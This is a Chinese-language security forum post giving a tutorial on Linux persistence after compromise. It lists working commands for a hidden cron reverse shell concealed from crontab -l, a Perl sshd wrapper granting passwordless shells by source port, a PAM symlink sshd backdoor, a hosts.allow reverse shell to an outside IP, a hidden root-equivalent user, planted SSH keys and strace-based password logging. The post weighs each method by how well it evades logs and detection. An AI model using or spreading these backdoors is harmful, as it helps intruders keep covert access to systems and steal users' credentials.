查看: 7953|回复: 0

Linux权限维持

[复制链接]
发表于 2022-10-26 15:59:00 | 显示全部楼层 |阅读模式
0x00 cron后门

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务

常规使用

[AppleScript] 纯文本查看 复制代码
(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -


qw1.jpg

通过这样执行后,该用户可以通过命令来查看见添加的计划任务,不够隐蔽

[AppleScript] 纯文本查看 复制代码
(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\r %100c\n")|crontab -

# 反弹shell
(crontab -l;printf "* * * * * bash -c 'sh -i >& /dev/tcp/10.211.55.2/12345 0>&1'\n")|crontab -


qw2.jpg

这样执行后,就无法通过crontab -l来直接查看了

这样也有一个问题,当原本就有计划任务的时候,它最后也会输出一个no crontab for xxx,所以要先看是否有计划任务,有就将该输出内容修改掉

原理:实际上是他将cron文件写到文件中。/var/spool/cron/crontabs/root 。而crontab -l就是列出了该文件的内容。 cat其实默认使用是支持一些比如\r回车符 \n换行符 \f换页符、也就是这些符号导致的能够隐藏命令 可以利用cat这一缺陷,在一些正常脚本文件中插入恶意代码

0x01 ssh wrapper

在目标机上执行以下命令

[AppleScript] 纯文本查看 复制代码
cd /usr/sbin/
mv sshd ../bin


[AppleScript] 纯文本查看 复制代码
# \x00\x004A是13377的大端形式
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd


[AppleScript] 纯文本查看 复制代码
chmod u+x sshd
service sshd restart


在攻击机上执行以下命令连接

[AppleScript] 纯文本查看 复制代码
socat STDIO TCP4:10.211.55.6:22,sourceport=13377


qw3.jpg

优点:

1.连接后的命令不会被记录,last查不到登陆记录

2.不影响正常ssh的使用

3.随时可连,无需密码

0x02 ssh软连接

[AppleScript] 纯文本查看 复制代码
ln -sf /usr/sbin/sshd /tmp/su

/tmp/su -oPort=888


这里的su 可以为/etc/pam.d/下的任意一个文件名

qw4.jpg

在连接时输入任意密码即可登陆

缺点:

1.会在本地开一个端口进行监听,容易暴露(进程、端口)

2.当该用户被禁止登陆时无法使用此方法登陆,需要一个可以登陆的用户

3.需要ssh开启PAM认证,否则会失败

4.ssh登陆日志中会有记录,命令会被记录

0x03 TCP wrapper

[AppleScript] 纯文本查看 复制代码
echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/10.211.55.2/37789 0>&1") & :allow' > /etc/hosts.allow


在有ssh连接时触发后门回连

qw5.jpg

缺点:

1.命令会记录在.bash_history中

2.充满不确定性,不确定管理员何时登陆,只能被动等待

0x04 添加用户

# 创建一个用户名guest,密码123456的普通用户
[AppleScript] 纯文本查看 复制代码
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest


# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
[AppleScript] 纯文本查看 复制代码
useradd -p "$(openssl passwd -1 123456)" guest


# chpasswd方法
[AppleScript] 纯文本查看 复制代码
useradd guest;echo 'guest:123456'|chpasswd


# echo -e方法
[AppleScript] 纯文本查看 复制代码
useradd test;echo -e "123456\n123456\n" |passwd test


# 一句话添加
[AppleScript] 纯文本查看 复制代码
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash


缺点:

1.在/etc/passwd和/etc/shadow中有痕迹,及容易被排查

0x05 ssh 公私钥登陆

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

[AppleScript] 纯文本查看 复制代码
ssh-keygen -t rsa


将公钥(id_rsa.pub)放入目标机器的.ssh/authorized_keys文件中,使用私钥进行连接即可

qw6.jpg

0x06 strace后门键盘记录

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

[AppleScript] 纯文本查看 复制代码
#vim ./bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

# 监听ssh流量,需要一个ssh进程id
ps -ef | grep sshd
alias ssh='strace -f -p 4241 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048'

# source /root/.bashrc


qw7.jpg

注:本地kali测试时,是修改的.zshrc,bashrc无法source;只能记录本地ssh向外连接的命令和密码

0x0 参考链接https://blog.m7.org/%E4%B8%AA%E4 ... BB%B4%E6%8C%81.html

https://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 07:12 , Processed in 0.026187 second(s), 12 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部